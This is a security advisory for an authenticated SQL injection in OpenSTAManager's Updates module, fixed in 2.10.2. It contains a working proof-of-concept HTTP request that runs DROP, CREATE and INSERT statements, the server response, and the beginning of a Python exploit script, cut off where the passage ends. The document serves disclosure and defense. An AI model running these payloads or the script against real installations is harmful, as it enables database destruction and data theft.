GHSA-2fr7-cc4f-wh98 OpenSTAManager: SQL Injection via Aggiornamenti Module

• Packagist devcode-it/openstamanager: < 2.10.2 → fixed in 2.10.2

Description The Aggiornamenti (Updates) module in OpenSTAManager query('SET FOREIGN_KEY_CHECKS=0'); // Line 69: FK checks DISABLED $errors = []; $executed = 0; foreach ($queries as $query) { try { $dbo->query($query); // Line 76: DIRECT EXECUTION ++$executed; } catch (Exception $e) { $errors[] = $query.' - '.$e->getMessage(); // Line 79: Error details leaked } } $dbo->query('SET FOREIGN_KEY_CHECKS=1'); // Line 82: FK checks re-enabled ``` Key Issues 1. No query validation: The SQL statements from user input are executed directly via `$dbo->query()` without any validation or filtering. 2. No allowlist: There is no restriction on which SQL commands are permitted (e.g., only `ALTER TABLE` or `CREATE INDEX`). 3. Foreign key checks disabled: `SET FOREIGN_KEY_CHECKS=0` is executed before the user queries, allowing data integrity violations. 4. Error message leakage: Exception messages containing database structure details are returned in the JSON response (line 79). 5. No authorization check: The action only requires module-level access, with no additional authorization for this destructive operation. Root Cause Analysis Data Flow 1. Attacker sends POST request to `/editor.php?id_module=` with `op=risolvi-conflitti-database` and `queries=[""]` 2. `editor.php` includes `actions.php` (root), which checks module permission (`$structure->permission == 'rw'`) at line 472 3. Root `actions.php` includes the module's `actions.php` at line 489 4. `modules/aggiornamenti/actions.php` reads the `queries` POST parameter (line 41) 5. JSON-decodes it into an array of strings (line 50) 6. Iterates over each string and executes it as a SQL query via `$dbo->query()` (line 76) Why This Is Exploitable • The feature is intended for resolving database schema conflicts during updates • However, there is no restriction on what SQL can be executed • Any authenticated user with `rw` permission on the Aggiornamenti module can exploit this • The default admin account always has access to this module Proof of Concept Prerequisites • A valid user account with access to the Aggiornamenti module Step 1: Authenticate ``` POST /index.php HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded op=login&username=&password= ``` Save the `PHPSESSID` cookie. Step 2: Detect Aggiornamenti Module ID Navigate to the application dashboard and inspect the sidebar links. The Aggiornamenti module URL contains `id_module=`. Default value in a standard installation: `6`. Step 3: Execute Arbitrary SQL Request (captured in Burp Suite): ``` POST /editor.php?id_module=6&id_record=6 HTTP/1.1 Host: 127.0.0.1:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: */* Connection: keep-alive Cookie: PHPSESSID=6a1a8ab261f8d93c6e21d2ee566c17a5 Content-Type: application/x-www-form-urlencoded op=risolvi-conflitti-database&queries=%5B%22DROP+TABLE+IF+EXISTS+poc_vuln04_verify%22%2C+%22CREATE+TABLE+poc_vuln04_verify+%28id+INT+AUTO_INCREMENT+PRIMARY+KEY%2C+proof+VARCHAR%28255%29%2C+ts+TIMESTAMP+DEFAULT+CURRENT_TIMESTAMP%29%22%2C+%22INSERT+INTO+poc_vuln04_verify+%28proof%29+VALUES+%28%27CVE_PROOF_arbitrary_sql_execution%27%29%22%5D ``` The URL-decoded `queries` parameter is: ```json [ "DROP TABLE IF EXISTS poc_vuln04_verify", "CREATE TABLE poc_vuln04_verify (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)", "INSERT INTO poc_vuln04_verify (proof) VALUES ('CVE_PROOF_arbitrary_sql_execution')" ] ``` Three arbitrary SQL statements are sent: `DROP TABLE`, `CREATE TABLE`, and `INSERT INTO` — demonstrating full control over the database. Response (captured in Burp Suite): The server responds with HTTP 200 and the following JSON response confirming successful execution of all 3 queries: ```json {"success":true,"message":"Tutte le query sono state eseguite con successo (3 query).Query eseguite:DROP TABLE IF EXISTS poc_vuln04_verifyCREATE TABLE poc_vuln04_verify (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)INSERT INTO poc_vuln04_verify (proof) VALUES ('CVE_PROOF_arbitrary_sql_execution')","flash_message":true} ``` Step 4: Verify Execution The table `poc_vuln04_verify` was created in the database with the inserted data, confirming that arbitrary SQL was executed. The server confirms: `"Tutte le query sono state eseguite con successo (3 query)."` Observed Results | Action | Result | |---|---| | `DROP TABLE IF EXISTS` | Table dropped successfully | | `CREATE TABLE` | Table created successfully | | `INSERT INTO` | Data inserted | | `SELECT VERSION()` (via INSERT...SELECT) | MySQL version extracted: `8.3.0` | | Server confirmation | `"success":true` with query count | | Execution with admin user | Success | | Execution with non-admin user (Tecnici group with module access) | Success | Exploit ``` python3 poc_sql.py -t http://:8888 -u admin -p admin ``` ```python !/usr/bin/env python3 import argparse import json import re import sys import urllib3 import requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) DEFAULT_HEADERS = { "User-Agent": ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/120.0.0.0 Safari/537.36" ), } def parse_args(): p = argparse.ArgumentParser( description="OpenSTAManager <= 2.10.1 — Arbitrary SQL Exec in Aggiornamenti (PoC)", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=( "Examples:\n" " %(prog)s -t http://target:8888 -u admin -p admin\n" " %(prog)s -t http://target:8888 -u admin -p admin --proxy http://127.0.0.1:8080\n" " %(prog)s -t http://target:8888 -u admin -p admin --module-id 6\n" ), ) p.add_argument("-t", "--target", required=True, help="Base URL (e.g. http://host:port)") p.add_argument("-u", "--username", required=True, help="Valid username for authentication") p.add_argument("-p", "--password", required=True, help="Password for authentication") p.add_argument( "--proxy", default=None, help="HTTP proxy (e.g. http://127.0.0.1:8080 for Burp Suite)", ) p.add_argument( "--module-id", type=int, default=None, help="Aggiornamenti module ID (auto-detected if omitted)", ) p.add_argument( "--verify-only", action="store_true", help="Only verify the vulnerability, do not extract data", ) return p.parse_args() class O…